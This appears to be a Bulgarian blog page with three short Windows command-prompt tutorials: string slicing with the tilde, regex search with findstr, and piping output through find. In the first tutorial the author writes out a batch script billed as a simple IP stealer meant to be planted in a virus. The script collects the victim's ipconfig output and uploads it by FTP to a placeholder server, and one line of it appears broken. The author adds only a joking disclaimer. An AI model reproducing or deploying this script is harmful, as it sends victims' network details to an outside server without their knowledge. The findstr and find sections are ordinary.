cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

findstr – Windows cmd regex

В една друга тема писах малко за търсене в stdout с find в cmd, но инструмента тук превъзхожда в пъти подобно търсене. Предполагам всеки любител или системен администратор си мечтае за възможността да ползва скоростта и мощността на търсещите конзолни инструменти от UNIX/Mac/Linux. В Windows е малко сложно да си настроите системата да изпълнява подобните команди през промпта, просто защото е супер орязан, а инсталирането на UnxUtils си е малко досадно понякога, а и задължително си иска ъпдейта, особено за sed и grep! Все пак малко успокоение е търсенето в файлове или в pipe-режим командата findstr.Тази команда може да работи с едни първобитни RegEx-и, които са доста далече от популярните и модерни PCRE. Но и поосакатено това търсене може доста да ни помогне.
За пример, да потърсим с кои програми се асоциират html файловете в Windows система, като ще използваме pipe-линия:

ftype | findstr "html"

При мен резултата от подобно търсене е:

accesshtmlfile="C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE"
Excelhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
Excelhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
powerpointhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
powerpointhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
wordhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"
wordhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"

Командата разполага със следните възможности за търсене с регулярни изрази:

. Wildcard: any character
* Repeat: zero or more occurrences of previous character or class
^ Line position: beginning of line
$ Line position: end of line
[class] Character class: any one character in set
[^class] Inverse class: any one character not in set
[x-z] Range: any characters within the specified range
\x Escape: literal use of metacharacter x
\<xyz Word position: beginning of word
xyz\> Word position: end of word

Ключовете при стартиране на командата също могат да са полезни. За целта:

findstr /?

Windows Find command piping from CommandPrompt

В командният ред на Windows има една много приятна команда, която може да спести време. Командата Find. Тази команда може да се рови във файлове, но по-интересното е, че може да чете директно от stdout и да се включи в pipe. Пример за извличане само на IP-адрес от CommandPrompt:

ipconfig /all | find "IP Address"

Резултата от изпълнението на горната команда е:

IP Address. . . . . . . . . . . . : 10.37.112.18

Друг подобен пример е, ако знаем името на някой компютър в мрежата, но не знаем кой му е собственика, можем да потърсим само за този компютър:

net view | find "hpPC011004"

Много тъпо е, че find не поддържа поне wildcards!!! Но пък си имаме друг по-интересен инструмент findstr – Windows cmd търсене с регулярни изрази.

Стартирането на командния ред(cmd) в WinXp става през Start -> Run -> cmd. Всъщност има поне още една каруца начини.